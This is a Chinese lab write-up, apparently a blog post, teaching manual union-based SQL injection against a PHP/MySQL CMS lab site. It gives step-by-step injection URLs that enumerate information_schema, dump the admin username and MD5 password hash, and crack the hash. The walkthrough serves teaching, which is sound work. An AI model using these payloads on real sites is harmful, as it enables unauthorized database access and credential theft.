MySQL手工注入PHP

实验目的

通过手工注入,了解SQL注入的原理。

实验环境

1. 服务器一台(网址首页:http://www.any.com/wcms)
2. 客户机一条(FireFox浏览器,带有Hackbar插件)

实验步骤

第一步:打开目标网站,寻找一个可能存在注入点的网址。

http://www.any.com/wcms/show.php?id=33

在这里插入图片描述

http://www.any.com/wcms/show.php?id=33 and 1=1

页面显示正常。

在这里插入图片描述

http://www.anyc.com/wcms/show.php?id=33 and 1=2

页面显示错误。

在这里插入图片描述

第二步:判断从MySQL数据库中获取到的数据表的列数。

http://www.any.com/wcms/show.php?id=33 order by 10

“order by 10” 表示根据表的第10列排序。如果存在第10列,那么显示正常,如果不存在则显示错误。

在这里插入图片描述

http://www.any.com/wcms/show.php?id=33 order by 15

在这里插入图片描述

http://www.any.com/wcms/show.php?id=33 order by 20

在这里插入图片描述

http://www.any.com/wcms/show.php?id=33 order by 17

在这里插入图片描述

http://www.any.com/wcms/show.php?id=33 order by 16

在这里插入图片描述

15显示正常,16显示错误,说明数据表中有15列。

第三步:判断在页面中显示出来的列的位置。

http://www.any.com/wcms/show.php?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

id=33 and 1=2 是一个false语句,不会执行对 id=33 的查询。

union 是一个联合查询词,连接前后两个查询语句。

select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 表示在查询的表中临时插入一行;

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 的数据,并且查询结果为这行数据。1 对应第一列的数据,依次类推。

在这里插入图片描述

图中显示出了数字 311, 说明数据表中第3列和第11列的数据会显示到页面中。

第四步:查看数据库名称。

database() 为MySQL的函数,用来显示当前数据库名称。

在这里插入图片描述

第五步:查询当前数据库cms中的表的数量。

http://www.any.com/wcms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=0x636d73

0x636d73cms 的十六进制表示,0x 代表十六进制数。

在这里插入图片描述

第六步:查询出数据库中所有表名,猜测后台管理员信息在哪张表中。

http://www.any.com/wcms/show.php?id=33 and 1=2 union select 1,2,unhex(hex(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=0x636D73 limit 0,1

limit m,n m 是指记录开始的 index,0 表示从第一条记录开始,n 是指从第 m+1 条开始,取 n 条数据。

在这里插入图片描述

第一个表名为 “cms_article”。

http://www.any.com/wcms/show.php?id=33 and 1=2 union select 1,2,unhex(hex(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=0x636D73 limit 1,1

在这里插入图片描述

第二个表名为 cms_category

依次类推,8个表名分别为:cms_articlecms_categorycms_filecms_friendlinkcms_messagecms_noticecms_pagecms_users

第七步:查询 cms_users列的数量。

http://www.any.com/wcms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273 and table_schema=0x636D73

0x636D735F7573657273 是表 cms_users 的十六进制表示。

在这里插入图片描述

第八步:查询 cms_users 的列名。

http://www.any.com/show.php?id=33 and 1=2 union select 1,2,unhex(hex(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273 and table_schema=0x636D73 limit 0,1

在这里插入图片描述

cms_users 的三个列名是:useridusernamepassword

第九步:查询 usernamepassword 的内容。

http://www.any.com/wcms/show.php?id=33 and 1=2 union select 1,2,unhex(hex(username)),4,5,6,7,8,9,10,unhex(hex(password)),12,13,14,15 from cms_users limit 0,1

加密后的密码为 e10adc3949ba59abbe56e057f20f883e,用户名为 admin。 对密码进行解密,密码为 123456

在这里插入图片描述

第十步:查找后台网页。

http://www.any.com/wcms/admin/

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值